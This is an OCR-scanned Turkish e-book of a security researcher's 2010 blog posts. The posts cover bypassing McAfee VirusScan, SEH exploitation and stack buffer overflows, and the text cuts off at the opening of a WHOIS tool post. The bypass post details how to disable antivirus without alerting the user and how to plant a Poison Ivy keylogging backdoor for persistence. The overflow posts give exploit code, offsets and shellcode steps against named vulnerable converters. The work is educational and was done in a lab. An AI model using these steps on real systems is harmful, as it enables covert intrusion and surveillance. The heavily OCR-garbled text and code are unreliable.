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Merhabalar,

2009 yiinda "Bilgi glictlir ve paylasidikca artar” mofosuyla olugiurdugum siber giiveniik blogumda (hips://www.merisarica.com) , bilgi glivenkiji farkindabdini arirma adina cok sayda teknik yazya yer vermeye calighm. Yilar icinde
Tiirkiye'nin dért bir yanindan skddm olumiu geri dénigler sonucunda, yazdanmi yilar baznda e-kiap olarak derlemeye ve meraklian e paylasmaya karar verdim.

Emek, zaman ve kaynak ayrrarak yapsdm arasirmalar sonucunda yazdijim bu yazlann, siber glivenik alaninda kendini gelizirmek izteyenier icin umanm faydal clur.
Yeni yazlarla gériismek disdiyle...
Saygianmia,
Mert SARICA
Siber Glvenik Uzmam

hips:/fwww.merisarica.com
hips:/fwiter.com/mersarica

Antivirus Nasil Atlatihir ?

Source: https://www.mertsarica.com/guvenli-yasam-icin/
By M.S on December 23rd, 2010
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Yillar 6nce sistemlere nasil sizilacagi konusunda bilgi sahibi olmaya calisirken arka kapilar1 pek dnemsemiyordum c¢iinkii art niyetli
kisilerin asil amaglarinin hedef sistemlere sizmak, dnemli bilgileri ¢calmak ve zarar vermek oldugunu disiiniiyordum. Sistemlerde uzun
stire kalarak verebilecekleri zararin boyutunun ne kadar yiiksek olabilecegini aklimin ucundan bile gegirmiyordum. Ancak yillar gectikce
arka kapilarin art niyetli kisiler i¢in ne kadar degerli oldugunu 6grenmis oldum. (TJX vakasi buna en giizel 6rnektir.)

Ornegin art niyetli bir kisi, s1izdig1 sistemde yonetici yetkisine sahip degil ise yetki yiikseltmesine imkan taniyan bir zafiyet kesfedilene
kadar bekleyebiliyor ve ardindan yetkisini yiikselterek kurumsal bir agda, i¢ sistemlere dogru ilerlemek i¢in bu arka kapry1 kullanabiliyor
veya hedef sistem finansal bir sistemin pargast ise uzun siire bu sistem {izerinden gegen paketleri izleyerek kendisi i¢in karli, sistem sahibi
i¢in ise zararli sonuglara yol agabiliyor. Tabii arka kapilarin kullanimini sadece kurumsal aglar ve sunucular ile sinirli tutmamak gerekiyor
ozellikle DDOS saldirilarina sik¢a rastladigimiz su giinlerde, bu isten gelir elde eden art niyetli kisiler igin siradan bir kullanicinin sistemi
bile oldukga degerli olabiliyor.

Her giin ziyaret ettiginiz masum bir site, baska bir giin internet tarayicinizdaki bir giivenlik zafiyetini istismar ederek sisteminizin zombi
sisteme doniligmesine ve art niyetli kisilerin kontroliine gegmesine neden olabiliyor. Sisteminizde sadece antiviriis yazilimi kullaniyor
olmaniz ne yazikki bu sonucun ortaya ¢ikmasina engel olamayabiliyor ¢iinkii antiviriis yazilimlart agirlikli olarak imza tabanli ¢caligtiklari
icin rahatlikla atlatilabiliyor.

Art niyetli kisiler hazirladiklar istismar kodu ile cogunlukla hedef sistemleri istismar ederek kendi sistemlerine (reverse tcp shell)
baglanmasini saglayarak sistemlere izin erigebilirler. Son kullanici olarak art niyetli kisilerin bu girisimlerini engelleyemesinizde
zorlastirabilmek i¢in sisteminizi yonetici (administrator) yerine kullanici yetkisi ile kullanmak ve antiviriis yazilimina ilave olarak kisisel
giivenlik duvari kullanmak iyi bir tercih olabilir. Gilivenlik duvar sayesinde sisteminiz tizerinde galisan bir uygulama/program uzaktaki
bir sisteme baglanmaya caligtig1 zaman uyarilir ve izin vermeniz durumunda iletisimin gergeklesmesini saglarsiniz. Kullanici yetkisi
ile kullandiginiz sistem sayesinde ise art niyetli kisi tarafindan istismar edilen sisteminiz {izerindeki giivenlik kontrollerinin devre dist
birakilmasini bir hayli zorlastirabilirsiniz.

Bu konuya dikkat cekmek i¢in yonetici yetkisi ile ¢alisan ve sadece antiviriis yazilimi yiiklii olan bir sistemin art niyetli kisiler tarafindan
nasil ele gecirilebilecegini gostermenin faydali olacagini diistinerek hemen bir antiviriis yazilimi aramaya karar verdim ve ¢ok fazla
vakit kaybetmeden yillarca severek ve begenerek kullandigim Mcafee Virusscan yaziliminda karar kildim.

Senaryoma gore yonetici yetkisi ile ¢alisan ve iizerinde Mcafee Virusscan yazilimi ¢aligan bir sistem istismar ediliyor ve ardindan sisteme
Metasploit ile baglanan art niyetli kisi giivenlik kontrolleri devre dis1 birakarak sisteme arka kapi/truva at1 yiiklemeye ve sistemin her
acilisinda bu arka kapi/truva atinin yiliklenmesini sagliyor.

Senaryoyu gergeklestirmek igin iki tane sanal sistem hazirladim. Birincisinin adi Kuzu ve lizerinde Virusscan calisiyor ikincisi ise Hain-
Kuzu ve iizerinde Metasploit ¢aligiyor.

Hain-Kuzu'nun sisteminde Metasploit ile Meterpreter'i olusturduktan sonra bunu Kuzu'nun sisteminde ¢alistirarak istismar sonrasini
simiile etmeye c¢alistim. Meterpreter ¢aligir ¢alismaz Kuzu'nun sistemi Hain-Kuzu'nun sistemine baglanarak konsol i¢in erisime hazir
hale geldi. (Meterpreter'i cogunlukla antiviriis yazilimlari zararli yazilim olarak tespit ederler ve silerler fakat Virusscan'de ne yazikki
boyle bir uyari ile karsilasmadim).



https://www.mertsarica.com/guvenli-yasam-icin/
https://www.mertsarica.com/guvenli-yasam-icin/
http://www.darkreading.com/database-security/167901020/security/attacks-breaches/224200531/index.html
http://www.metasploit.com/
http://www.metasploit.com/documents/meterpreter.pdf
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Tus kay1t 6zelligine sahip arka kapi/truva at1 niyetine Poison Ivy yazilimini kullanmaya karar verdim ve Kuzu'nun sistemine yiiklenecek
ve calistirildigr anda sisteme baglanmaya imkan tantyacak programi (pi.exe) Poison Ivy ile olusturdum. Konsol {izerinden "upload
pi.exe" komutunu ¢aligtirdigimda Kuzu'nun sistemine yiiklenen pi.exe programi Virusscan tarafindan hemen tespit edildi ve silindi.
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Oncelikle Virusscan'i devre dist birakmam gerekiyordu ancak Virusscan islemleri sistem (system) yetkisi ile galistig1 ve yonetici yetkisi
ile bunlari sonlandirmak miimkiin olmadigi i¢in konsol iizerinde "ps" komutunu ¢alistirarak Mcafee islemlerinden (processes) bir tanesini
goziime kestirdim ve "migrate PID" komutu ile mfevtps.exe islemine gecis yaptim. Artik sistem yetkisine sahip oldugum i¢in Virusscan'e
ait olan tiim servisleri ve islemleri kapatabilirdim.

Meterpreter ile gelen ve sistem iizerinde calisan tiim antivirus iglemlerini sonlandirmak i¢in kullanilan killav betigini (script)
kullansaydim Virusscan'in sistem tepsisinde (system tray) yer alan simgesi (icon) degisecek (park yasagi seklini aliyor :p) ve Kuzu'nun
dikkatini ¢ekecektim.
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@ Your computer might be at risk

* Mo Firewall is burned on
* McAfee WirusScan Enterprise is turned off

Click, this balloon to Fix this problem.
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Stiphe ¢ekmek art niyetli kisilerin istemeyecegi bir durum oldugu icin bende onlar gibi diisiinerek buna bir ¢6ziim aramaya karar verdim
ve islemleri belli bir sirada (shstat, EngineServer, FrameworkService, naprdmgr, mctray, mfeann, vstskmgr, Mcshield, bunun adina
sihirli sira dedim :)) sonlandirarak simgenin degismemesini sagladim.

Antivirus devre dis1 kaldiktan sonra konsol {izerinden "upload" komutu ile pi.exe programini sisteme yiikleyebildim. Bundan sonraki
amacim pi.exe programinin sistem her yeniden basladiginda calismasini ve Virusscan tarafindan tespit edilmesini dnlemek oldugu
icin Oncelikle pi.exe programini sistem baslangicinda caligmasi i¢in kayit defterindeki (registry) "HKLM\Software\Microsoft\Windows
\CurrentVersion\Run" anahtarina ekledim.

Virusscan, tarama diginda birakilacak olan program listesini, diske yazma ve diskten okuma esnasinda tarama gergeklestirilmesi ve
istenmeyen program (casus yazilimlar, tus kayit yazilimlari vs) taramast ile ilgili ayarlar1 kayit defterinde tuttugu igin ilk olarak sisteme
yiikledigim pi.exe programinin tarama diginda tutulmas igin ilgili anahtardaki degere ekledim. Ardindan igimi garantiye almak igin
diskten okuma esnasinda tarama, diske yazma esnasinda tarama ve istenmeyen program taramasini kayit defteri iizerinden devre dis1
biraktim ve bu sayede sisteme tus kaydi yapabilen arka kap1 yerlestirilmesini ve sistem baslangicinda ¢aligtirilmasini saglamig oldum.


http://www.poisonivy-rat.com/
http://www.offensive-security.com/metasploit-unleashed/Metasploit_Meterpreter_Basics
http://www.offensive-security.com/metasploit-unleashed/Metasploit_Meterpreter_Basics

Bu arada bu islemleri otomatize etmek i¢in virusscan_bypass adinda ufak bir Meterpreter betigi hazirladim.

Giincelleme (25/12/2010): Hazirlamis oldugum betik Metasploit projesine dahil olmustur, ilerleyen siiriimlerinde yiiklii gelecegi
icin indirmenize gerek kalmayacaktir.

Teyit etmek icin bilgisayar1 yeniden baslattigimda sistemin agilir agilmaz arka kapiyi/truva atini galistirarak Hain-Kuzu sistemine
baglandigini goérdiim ve art niyetli kisi acisindan gorev basariyla tamamlanmis, madur kisi iginse yonetici yetkisinden kurtulma ve
sisteme kisisel giivenlik duvari yiiklenmesi i¢in ¢ok gegerli bir neden ortaya ¢ikmis oldu.

Daha net anlagilabilmesi i¢in her zamanki gibi kisa metrajli bir film ¢ektim :)
Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler ve iyi seyirler dilerim.

SEH listismari

Source: https://www.mertsarica.com/seh-istismari/
By M.S on December 14th, 2010
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Rahmetli milwOrm ve veliahti olan Exploit-DB sitelerine bakacak olursaniz ¢ogu istismar aracinin SEH (structured exception handler)'i
yani tiirk¢e meali ile yapilandirilmis 6zel durum islemesini istismar ettigini gorebilirsiniz. Saymin fazla olmasinin nedeni olarak tespit
edilmesinin ve istismar edilmesinin kolay oldugunu sdyleyebilirim. Modern windows isletim sistemlerinde (Vista ve sonrasi) yer alan
istismar Onleyici korumalar (SEHOP, ASLR vs.) SEH istismarini zorlagtirmaktadir. Windows 7 kullaniyorum o halde rahatim dememeniz
icin ufak bir ekleme yapayim, (default) varsayilan olarak kurulan bir Windows 7 isletim sisteminde DEP 6zelligi Windows XP isletim
sisteminde oldugu gibi sadece windows'un kendi programlarini ve servislerini korumakta, SEH istismarini zorlagtiran SEHOP &zelligi
ise devre dis1 olarak gelmektedir bu nedenle modern windows isletim sistemi kullaniyorsaniz sikilastirmaniz yarariniza olacaktir.

Programlama ile igli disl1 olanlar bilirler, kimi programlama dilinde (C ne yazikki bunlardan bir tanesi degil) try & catch, try & except gibi
hata yakalamak amaciyla kullanilan 6zel durum islemeleri (bloklar) bulunmaktadir. Bu bloklarin amaci iglerinde gergeklesen islemlerde
bir hatanin ortaya ¢ikmasi durumunda kullanictyr uyarmak ve islemin devam etmesini durdurmaktir aksi durumda bu hata, sistem
tizerinde istenmeyen sonuglara yol agabilmektedir.

Gelistirilen bir programda, hata yakalamak i¢in kullanilan bu bloklara yer verilmemesi veya bu bloklarin olugan hatay1 yakalayamamasi
durumunda isletim sisteminin hata yakalama blogu olan Windows SEH (isletim sistemi seviyesi) duruma miidahale ederek hatayi
yakalamaktadir.

Bir programin hatay1 yakalayabilmesi i¢in her bir hata yakalama blogunu isaret eden igaretci/gosterge¢ (pointer), yiginda (stack)
saklanmaktadir. Bir programda yer alan tiim hata yakalama bloklar birbirlerine zincirdeki halkalar (SEH chain) gibi baghdirlar ve
zincirin son halkasinda Windows SEH yer alir.

SEH, bir sonraki hata yakalama blogu isaretgisi (next seh) ve asil hata yakalama blogu isaretgisi (seh) olmak {izere 8 bayttan olugmaktadir.

SafeSEH destegi ile gelistirilmis bir program, Windows'daki 6zel durum isleme mekanizmalari {izerinde ek denetimler gerceklestirerek
istismar1 zorlagtirir. Yazimin ilerleyen kismi, SafeSEH korumasi devrede olmayan programlar, modiiller ve DLL dosyalar1 i¢in
yapilandirilmis 6zel durum islemesinin nasil kotiiye kullanilabilmesi tizerinedir.

SEH istismar1 kisaca ve kabaca arabellek tagmasinda oldugu gibi dinamik bir degiskene kapasitesinden daha fazla veri kopyalanmasi
ile SEH'in i¢inde yer alan isaretgilerin tizerine istenilen adreslerin yazilmasina ve programin akisinin degistirilmesine denir.


http://www.mertsarica.com/codes/virusscan_bypass.rb
http://metasploit.com/redmine/projects/framework/repository/revisions/11411/entry/scripts/meterpreter/virusscan_bypass.rb
https://www.mertsarica.com/seh-istismari/
https://www.mertsarica.com/seh-istismari/
http://www.exploit-db.com/
http://msdn.microsoft.com/en-us/library/ms680657(v=vs.85).aspx
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Daha net anlagilabilmesi adina ufak bir 6rnek iizerinden gidecek olursak SEH istismarina imkan tantyan ve arabellek tasmasi zafiyetine
sahip olan Free WMA MP3 Converter v1.1 aracini inceleyelim.

Free WMA MP3 Converter, WMA, WAV ve MP3 uzantili dosyalari birbirilerine ¢evirmeye yaran basit bir programdir. Programdaki
zafiyetin varligini teyit etme adina dncelikle bir .wav uzantili bir dosya olusturmamiz gerekmektedir. Bunun i¢in bir énceki yazimda
da kisaca bahsetmis oldugum Metasploit'in pattern create aracindan faydalanabiliriz. Bu arag ile olusturdugumuz 5000 karakterden
olusan diziyi WAV uzantili dosyaya kopyalayalim. Programi Immunity Debugger ile calistirdiktan sonra "WAV to MP3" meniisiine
tikladigimizda bizden herhangi bir WAV dosyasini girdi olarak vermemizi istemektedir. Bunun i¢inde bir adim evvel yaratmis oldugumuz
WAV dosyasini kullandigimizda next SEH ve SE Handler'in {izerine bagariyla yazabildigimizi gorebiliriz. Metasploit'in pattern offset
aract ile kaginci baytin Next SEH'e denk geldigine baktigimizda ise 4116. bayt oldugunu gorebiliriz. Ufak bir hesaplamadan sonra (FFFC
- FEFO = 268) SE Handler'dan sonraki 268 baytin {izerine basariyla istedigimiz veriyi yazabildigimizi gorebiliyoruz.
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Kisaca ortaya ¢gikan durumu ve hemen altinda istismar aracimizi ne sekilde olusturmamiz gerektigine bakacak olursak;

3

[5000 bayt verinin bir kismi] + [Next SEH] + [SE Handler] + [5000 bayt verinin kalan kismi]

[AAAAAAADAAAANAARAA...] * [6 hayt atla] * [POP/POP/RET] * [Kabuk kodu ishellcode)]
1

2

SE Handler'in {izerine POP POP RET komutlarini kopyalamamizin amaci programda hataya (6zel duruma) yol agmak ve bu sayede
programin akiginin Next SEH'e yonlendirilmesini saglamaktir. Next SEH'te yer alan "6 bayt atla" komutu ile programin akisi1 SE Handler
iizerinden 6 bayt atlayarak sistem iizerinde diledigimiz iglemi gerceklestirmemize imkan tanityan kod parcasina yani kabuk koduna
(shellcode) gidecek sekilde devam edecektir.

SE Handler'dan sonraki 268 bayta diledigimizi veriyi yazabildigimiz i¢in kabuk kodumuzu buraya koymamiz yeterli olacaktir.

Kimi zaman SE Handler'dan sonrvaki alan kabuk kodumuz icin yeterli olmayabilir bu durumda da kabuk kodu icin en ideal yer
yukaridaki resimde yer alan 5000 baytlik ilk kisim olacaktiv. SE Handler sonrasinda yer alan adrese, geri X bayt zipla komutu
(JMP backward) vererek akisin kabuk kodumuza ilerlemesini saglayabiliriz.

Oncelikle kabuk kodunu olusturmamz gerekiyor bunun igin Metasploit araci ile calc.exe programini ¢alistiran bir kabuk kodu
olusturalim.



POP/POP/RET komutunu SafeSEH 6zelliginin devre dist oldugu ve program tarafindan kullanilan herhangi bir program, modiil
veya DLL dosyasinda aramamiz gerektigi i¢in dncellikle bunu bulmakla ise koyuluyoruz. Bunun i¢in Immunity Debugger aracinda
yer alan SafeSeh scriptini kullanabiliriz. !safeseh scripti -m parametresi ile ¢alisiyor bu yiizden hemen Immunity Debugger'da yer
alan "E" butonuna basarak "executable modules" penceresine hizlica géz atiyor ve sansimizi ilk olarak programin kendisinden yana
(Wmpcon.exe) kullandigimizda programin SafeSEH'i desteklemedigini 6greniyoruz ve seviniyoruz :) Bir sonraki adimda, bu modiilde/
programda yer alan POP/POP/RET adresini aramamiz gerekiyor. Bunun i¢in Metasploit aracinda yer alan msfpescan aracindan
faydalanabiliriz. Araci asagidaki ekran goriintiisiinde yer aldig1 sekilde ¢alistirdigimizda hemen istedigimiz adresi buluyoruz ve istismar1
gerceklestirmek i¢in ihtiyag duydugumuz tiim bilgileri elde etmis oluyoruz.
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Son olarak istismar aracimizi elde ettigimiz bu bilgiler 1s181nda giincelleyip calistirdigimizda SEH'i basariyla istismar ederek Windows'un
hesap makinasi aracinin (calc.exe) galistigini goérebiliyoruz.

Settings\Administrator\Desktopiseh_exploit.py.
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Bu defa video ¢ekmemi isteyenlerin sesine kulak verdim ve konu ile ilgili ufak bir video ¢gektim.
Bir sonraki yazida goriismek dilegiyle herkese giivenli haftalar diliyorum.

Buffy the Overflow Slayer

Source: https:/www.mertsarica.com/buffy-the-overflow/
By M.S on December 1st, 2010
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Buffer overflow, Tiirkge meali ile arabellek tagsmasi zafiyeti ilk olarak 1960'1 y1llarda sistemlere sizmak i¢in istismar edilmeye baglandi.
1988 yilinda internet lizerinden yayilan ve ilk solucan olmast ile {inlii olan Morris solucani da arabellek tagmasi zafiyetini istismar ederek
sistemlere s1ztyor ve yayiliyordu. Arabellek tasmasi zafiyetinin kesfi ve istismar edilme macerasi kimileri i¢in uzun seneler dnce bagsladi
ve aradan 50 yi1l gegmis olmasina ragmen bu zafiyet halen kesfedilmeye ve istismar edilmeye devam edilmektedir.


https://www.mertsarica.com/buffy-the-overflow/
https://www.mertsarica.com/buffy-the-overflow/
http://en.wikipedia.org/wiki/Morris_worm

Arabellek tasmasi zafiyetini tam olarak anlayabilmek, kendi istismar aracinizi (exploit) hazirlayabilmek, bu konu ile ilgili
yazilmis olan makalelerde kaybolmamak ve Metasploit aracina bagimli kalmamak i¢in C programlama dili, Assembly
programlama dili ve x86 mimarileri konularinda bilgi sahibi olmaniz gerekmektedir.

1996 yilinda Phrack'in 49. sayisinda yer alan Smashing The Stack For Fun And Profit makalesi, arabellek tagsmasi zafiyetlerinin istismar
edilmesine biiyiik oranda ivme kazandirdi. Benim i¢in ise bu macera 2004 yilinda, The ShellCoder's Handbook kitabin1i Amazon'dan
siparig etmem ile baslamisti fakat assembly konusunda hi¢bir bilgim olmadig: i¢in sadece okumakla yetinmis, kafamda bir ¢ok soru
isareti olugsmustu. Ancak aradan zaman gegtikce ve assembly ile hasir nesir oldukga taglar daha hizli yerine oturdu.

Arabellek tagsmasi kisaca ve kabaca hatali bir sekilde kullanilan fonksiyonlardan (strcpy, sprintf vs.) olusan bir programda yer alan
dinamik degiskenlere (variable), saklama kapasitelerinden daha fazla miktarda veri yiiklenmesi ile olusan duruma denir. Kapasite agimi1
sayesinde programin akisi degistirilerek normal akista yer almayan kodlar (komutlar) ¢alistirilabilir. (exploiting)

Yazim y18in tabanli bellek tagmasini (stack-based overflow) konu aldig1 i¢in dncelikle y1gin (stack) nedir kisaca ondan bahsedeyim.

Yigmn, programlarin dinamik degiskenlerinin (variable) gecici siireligine hafizada tutuldugu bodlgeye verilen isimdir. Bu bolgede
tanimlanmis dinamik degiskenler tutuldugu gibi bir fonksiyon ¢agrilmadan 6nce akigin fonksiyon c¢agrildiktan sonra kaldigi yerden
devam edebilmesi i¢in gereken adreste (geri doniis adresi) tutulabilir, saklanabilir.

Bir fonksiyon c¢agrilmadan once bu fonksiyonda kullanilacak olan parametreler ile saklanmis, depolanmis (stored) EIP ve EBP
kaydedicileri (register) yigma (stack) kopyalanir. Fonksiyondaki islemler tamamlandiktan sonra saklanmis, depolanmis (stored) EIP
kaydedicisi (register) yigindan (stack) aliarak EIP kaydedicisine kopyalanir ve programin akisi kaldig1 yerden devam eder.

Ornek olarak A ve B fonksiyonundan olusan bir program diisiinelim ve A fonksiyonu iginden B fonksiyonunun c¢agrildigim1 ve 128
byte biiyiikliigiindeki bir bellege (array) 136 byte uzunlugunda ve 'A' (0x41 hex degeri) karakterinden olusan bir dizini (string)
kopyaladigimiz1 varsayalim.

#i ncl ude <string. h>

voi d B(char *buf)

{
char ns[ 128];
strcpy(ms, buffer);
}
int A (int argc, char **argv)
{
B(argv[1]);
}

Bu kopyalama neticesinde saklanmis EIP kaydedicisi (register) iizerine veri yazabildigimiz i¢in ve bu veri (adres), ¢agrilan fonksiyon
tamamlandiktan sonra EIP kaydedicisine kopyalanacagi i¢in bu adresi degistirerek programin akisini degistirebilmekteyiz.

0x00000000

buffer[126] aaan

Saklanmis
EBP

Saklanmis  AAAA
EIP

Yigmin
devami

ARAA
Anaa N

OXFFFFFFFF

Bellege 136 bayttan daha fazla veri yazilacak olursa bu veriler yigina kopyalanmaya devam edecektir. Bu durumda programa girdi
olarak g¢alistirilmasini istedigimiz kodu belirtebilir ve akisi (stored EIP) bu koda yonlendirerek (JMP ESP komutu)a arabellek tagmasi
zafiyetini istismar edebiliriz.

0X00000000

ESP

bufferl128] aans

Saklanmig
EBP

JMP ESP
EIP
nignn - oye s conel
devami v

OXFFFFFFFF
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Y1gin tabanl arabellek tasmasi zafiyeti ve istismar edilmesi kisaca ve kabaca bundan ibaret fakat bunu bir drnekle siislemeden yaziy1
tamamlamak amaca hizmet etmeyecegi i¢in hemen 6rnegimize gegelim.

Ornek olarak istismar edecegimiz programim adi ASX to MP3 Converter. CVE-2009-1642 numarali CVE ID'sine gére bu programin
3.0.0.7 slirimiinde asx uzantili dosyalarda kullanilan HREF nitelemesinde (attribute) y1gin tabanli arabellek tagsmasi zafiyeti oldugu
belirtiliyor.

Bu aciklama iizerine asx uzantili bir dosya yaratan ve icine "http:/AAAAAAAAAAAA (30000 tane)" dizisi kopyalayan ufak bir
program hazirliyoruz ve daha sonrasinda programi calistirdigimizda EIP kaydedicisine miidahale ederek zafiyetin varligimi teyit
edebiliyoruz.

Documents and Settings\A dministrator\Deskiopvull. py

Fle Edit Format Run Options tindows Help
#1/usr/bin/ python =

ret = B! v g
nop = "ixsor s 10
exp = "htop://" o+ 'At * 30000 + ret

file = open("vuln.asx", "u")
file.write(exp)
file.close()

print "write error”

Ln: 5 (Col: 23

File Wiew Debug Immlib Options Window Help Jobs

O T X b Il B YRl

] Access violation when executing [41414141] - use Shift+F7/F8/F3 to pass exception to program | i Paused

Fakat kaginci bayttan itibaren EIP kaydedicisine yazdigimizi deneme yanilma yolu ile tespit etmek zaman alacagi i¢in hemen bu is igin
tasarlanmis olan ve Metasploit araci iginde yer alan pattern_create uygulamasina bagvuruyoruz ve 30000 bayt biiyiikliigiinde bir dizi
olusturarak bu diziyi programimiza kopyalayarak ¢alistirtyoruz. Bu defa EIP kaydedicisinde yer alan degeri pattern_offset uygulamasina
girdi olarak verdigimizde uygulama bize kaginci bayttan itibaren EIP kaydecisi iizerine veri yazmaya basladigimizi belirtiyor.

= C:\WINDOWS\system32\cmd.exe E :l‘E x|

s\nsf3\nsfI\tools>C: \Ruhy186/hin/ruby.exe pattern_create.rh
pattern_create.rh length [set al [set bl [set cl

3\msf3\tools>C:\Rubyl86/bin/ruby.exe pattern_create.rh 30PAB > bof.txt
s\nsf3\msf3\toels>



http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1642

BB bof.txt - Notepad =1]

Bl Edt Fomet View Hep

1 4 OACLACZACIAC
1161261361451 551661 76188108] 09161 261351451 551687 781887 98k 0Bk 18k 28k 35k4Bk S
2003004 C5Cq6Ca7COBCGOCr OCrCr 20 SCraCT 5Cr BCr 7Cr BCracs0CS1Cs 2Cs3C5ACS 5C56C

3
g5Fgorg 10F11F12F13F14F T SF16F17F1BFIC

Hz
€937 0371372373374 3F5IF6F71 831910101192 193 154 195196397 3g8IgaIh03hLIh23h3

Kl
Ly2Lv3LvALYSLV6LY7LVBLYSLWOLWLLWZLW3LWALWSLWELW7LWBLWOLXOLX1L XL X3LxXdLX5Lx

NF2NF3NFANESNFONT7
401501601701801 1

P 1py;

1RC2RCIRCARCSRCERCTRCBRCORI
85705k 05k 1sk25k35ka sk 55k65k 75k 85k 9510511512513514515516517518519SmOsmLsm2s
TS0TS1TS2TS3TS4TSSTS6TS7TSBTSOTLOTTITI2TL3TLATTSTLETL7TLATLOTLOTULTU2TUSTL

E 1, 4
2T 3T aiv S G 70w S O] 0w L] 2001 3141w 5 6 723 8] Sk Ok Lk Zok 3wk ik Sk 6
Axr 1

y5vy6vy7YyBYyoY 20y 21 4 Y27y 28Y 72a87a¢
10AT1AT2AT3AT4AT 541641 7A1BA10A] OATLA

35 16r 26

X0CX1CX2CX3CXACKSCXBCX 7CXBCXBCy 0CYL CydCy5Cy6Cy7CyBCy! af

SId6Id710BId0Te0TE1Te2Te3TedTe5 1861871801 OIFLIf21f 314 I SIF6IT 71T BIFOT
2173183193m030 3z 33 4 Jms 36 7 80 In03rLan2 n3Ind ansnedn7 Inedne3o0dc
KILKW:

AMe2Me3h

Ele Edt Format Run Options Windows Help
#!/usr/bin/pychon

buf = "Aanial 2as 9450 A1 Ab2 Bh3 D45 Kb 62557 KB ARSI A
v o4

"\xsor * 10

"htep://" + buf + ret

ret

file = open("vuln.asx”, "u
file.urite(exp)
file.close()

print "urite errox®

Ln: 4/col: 13

B

B TEH WX UMY HUHY lemtwhcPkbzr

attern_off

automatically

pattern_offset.r ] 1AABA

[13 24, 30) Access violstion when executing [ 366957 35] - use ShiftsF 7/FB/FS o pass excepbon o program Pauned

Programimizi agagidaki sekilde giincelledikten sonra ¢alistirdigimizda EIP kaydedicisini tekrar kontrol ediyoruz.



vull.py - C:\Documents and Settings\Administrator\Desktopivuli. py
fle Edt Formsk Bun Options Windows Help

#1/uar/bin/ python =
# buf = "AsOhalia2hialhsdAaShafha7?hadiad A0AklAbZ Ab3 heAbSAh6AhTAbBALD
buf = 'i' * (17425 - int{len{str("htrp://T10)

ret = 'B' ¥ 4

nop = "yx90" * 10

exp = "hetgi//" + huf + et

file = open|"vuln.asx", "u")
file.write (exp)
file.close ()

print "write error”

Ln: 7/Col: 11

F ew b Ophions  Window  Help

S TED % b i o A 1 e

[16:28:15] Access violation when executing [42424241] - uze Shilt+F7/FB/F3 to pass exception o program

Fakat goriinen o ki EIP kaydedicisine fazladan 1 bayt A gelmis ve EIP kaydedicisi 42424242 (BBBB) yerine 42424241 (BBBA) degerine
sahip olmus. Programimizda son bir degisiklik yaptiktan sonra asx uzantili dosyayi tekrar olusturup programa yiikledigimizde bu defa
basariyla EIP kaydedicisi lizerine istedigimiz degeri yazabildigimizi gorebiliyoruz.

ocuments and Settings\Adi trator\Desktopivull. py

vull.py - C:
File Edt Formst Run  Options ‘Windows Help

#1/uar/bin/ python =
# buf = "AaOkaliaZiadhn4AaShabia?hadiadih0ihlib2 b3 ihd hSAb6Ah7AbBALS
buf = 'A' * (17425 - int(len(str("htep://"))) - 1)

ret = 'B' 7 &

nop = "yx90" * 10

exp = "http://" + buf + ret

file = open("vuln.asx", "u")
file.write (exp)
file.close()

print "write error”

Ln: 15 Col: 0




Fle View Debug [mmlb Oplions Window Help Job

b TE dxr i MUYl lemtwhcecPkbz .

[16:29.59] Access violation when executing [42424242] - uze Shilt+F7/FB/F3 to pass exception o program

Arabellek tagmasi ile y1gina yeterli miktarda veri yazip yazamadigimizi kontrol etmek igin (shellcode yiginda yer alacagi icin 400 bayt
yeterli olacaktir) programimiza asagidaki gibi bir stack degiskeni ekliyor, tekrar calistiriyor ve yigina yazabildigimizi goriiyoruz.

- C:\Documents and Settings\AdministratoriDesktopivull. py

Fle Edit Format Run Options hindows Help
#!/usr/bin/python

# buf = "halkaliaZia3iadiaSAncia?iadiadih0iblibe il ModihS ka6 TARBAba)
buf = 'A' * (17425 - int(len(str{"http://")) - 1)

ret = B T4

stack = 'Mert' * 128

nop = "ix20" ¥ 10

exp = "heep://" 4 buf + rec + stack

file = open{"vuln.asx", "u")
file.urite exp)
file.close()

print "write error”

Ln; 8 Col; 17

10



main thread]

fle Wew [Dsbug [mmlb Oplions Window Help Jobs

M TE WX NN HAUYS 1l emtwhcecPkbz

[18:32:19] Access violation when executing [42424242] - use Shilt+F 7/FB/F3 to pass exception o program

Amacimiz hazirladigimiz kodu (shellcode) yigina yazmak ve depolanmis, saklanmis EIP kaydedicisini yigma yonlendirmek (JMP
ESP) oldugu i¢in 6ncelikle Metasploit'in son stiriimiiniin yiiklii oldugu bilgisayarimizda (suan igin 3.5.0) hesap makinasi uygulamasini
calistiran kodu (shellcode) olusturuyoruz. Ardindan yigina yonlendirmek icin kullanacagimiz assembly komutunu yine diger bir
Metasploit uygulamasi olan msfpescan ile ornek olarak kernel32.dll dosyasi iizerinde aratiyoruz. Son olarak istismar aracimizi elde
ettigimiz bu bilgiler ile giincelledikten ve calistirdiktan sonra olusturdugumuz asx dosyasini ASX to MP3 Convertor uygulamasina
yiklettigimizde hesap makinasi ¢aligiyor ve mutlu sona ulagsmis oluyoruz.

k- Metasploit
File  Edit Wiew Help

e
e
i
e
e
e
e
e
e
+
e
e
e
e
e

Ready 35x78
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http://www.metasploit.com/framework/download/

= C:\WINDOWS\system32\cmd.exe

F\ms£3>C:\Ruby186/bin/ruby.exe msfpescan —j osp C:\windous\systend2ikerne

\nms.
32.d11

LC:\windows\systend2\kerne132.d111
0 ?2c828hc? push esp; retn BxBAB1
9x7c874413 jmp esp

Gz nsf3msf3>

exl.py - C:\Documents and Settings\A dministrator\Deskioplex1. py

- int(len(str("http://"))) -

1)

Ln: 1/Cal; 0|

Yillar i¢inde fazla sayida bellek tagmasi zafiyetinin ortaya ¢cikmis olmasi ve bu zafiyetleri istismar eden solucanlarin sistemlere vermis
oldugu zararin milyon dolar1 bulmasi nedeniyle isletim sistemi {ireticileri yayinlamig olduklar her yeni isletim sisteminde ve gelistirme
platformlarinda bu zafiyetlerin istismar edilmesini 6nleyici bir dizi tedbir almigtir. DEP, Exec Shield, PaX, ASLR, GS (Buffer Security
Check), StackGuard, GCC Stack-Smashing Protector (ProPolice) bunlardan sadece bir kagidir. Fakat bu tedbirlerin bir ¢cogu bir sekilde
atlatilabildigi i¢in istismar1 zorlagtirmaktan 6teye gidememislerdir.

Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler dilerim...

WHOIS Desc Araci

Source: https://www.mertsarica.com/whois-desc-araci/
By M.S on November 23rd, 2010

=

Kimi zaman elinizde bir kag tane ip adresi olur. Bu ip adresleri ya sizin sistemlerinizi zorlamislardir ya da farkli nedenlerden otiirii
